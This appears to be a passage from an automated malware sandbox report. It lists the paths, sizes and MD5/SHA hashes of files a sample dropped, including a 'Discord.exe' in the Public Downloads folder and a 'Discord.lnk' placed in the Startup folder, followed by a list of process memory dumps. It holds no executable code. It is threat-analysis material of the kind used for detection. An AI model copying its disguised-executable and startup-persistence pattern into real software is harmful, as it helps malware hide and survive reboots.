    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
      Filesize

      6KB

      MD5

      57053ee3dc3d6c26f45fcd16ec5c8c95

      SHA1

      e828019a4d74f7e279bd583f108eacab46a8ff98

      SHA256

      936caa9b7e13b883af30e3c74b22cf506444a2a9f0000652fe801dd99703e75b

      SHA512

      10a87121b0f2bbcdca420ee4434741ca3033c5f124f1ab6866c8df83091c7c6cf541b21018b514bce096880ab521a9f9bd71d50ab0950d0088dca6d500e8ad8b

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord.lnk
      Filesize

      646B

      MD5

      99468fc37ed0fd8e288d4a56fb4699fc

      SHA1

      df664d6e1640d642ad4b2c7c616c8f810504b665

      SHA256

      51f1a7b9bd2783f6e44c7472f1f102670a4ed9d41e8487a65986b72c8f201882

      SHA512

      5a7bd61e3c7dc2b54520bd2efbc7f6189a75792e7c2b86c917a7e150e1de99d43dd5ea5b91bb3d2a145dd240c5cd446051400ea8737f6cbe389085e86e36bf1d

      Download Submit

    • C:\Users\Public\Downloads\Discord.exe
      Filesize

      66KB

      MD5

      879e4ad359e88bc384ee197e68728b50

      SHA1

      f7547bfe974d52fe71c5e8f5e8195732f1736509

      SHA256

      0cfc81ec769e4cb977cd2fadc68a766a2a80f80691c0b8f8517f468b8cf4fdfe

      SHA512

      23cc1aa66bf4158310258bcfa806c89085ec43a0f476d4e46d6da8c4f91a38b8b653a7a50c736592894d29301f95ef76866c3d920f1aeb2d51248bbeaa144e97

      Download Submit

    • memory/928-135-0x0000000000850000-0x0000000000866000-memory.dmp

      Filesize

      88KB

      Download

    • memory/928-183-0x000000001B450000-0x000000001B45C000-memory.dmp

      Filesize

      48KB

      Download

    • memory/928-184-0x000000001E060000-0x000000001E588000-memory.dmp

      Filesize

      5.2MB

      Download

    • memory/3268-36-0x00000207FE140000-0x00000207FE302000-memory.dmp

      Filesize

      1.8MB

      Download

    • memory/3720-18-0x00007FFF22800000-0x00007FFF232C2000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3720-2-0x00007FFF22803000-0x00007FFF22805000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3720-17-0x00007FFF22800000-0x00007FFF232C2000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3720-14-0x00007FFF22800000-0x00007FFF232C2000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3720-13-0x00007FFF22800000-0x00007FFF232C2000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3720-12-0x0000028FC9180000-0x0000028FC91A2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4320-187-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-185-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-191-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-197-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-196-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-195-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-194-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-193-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-192-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4320-186-0x0000015DEDD20000-0x0000015DEDD21000-memory.dmp

      Filesize

      4KB

      Download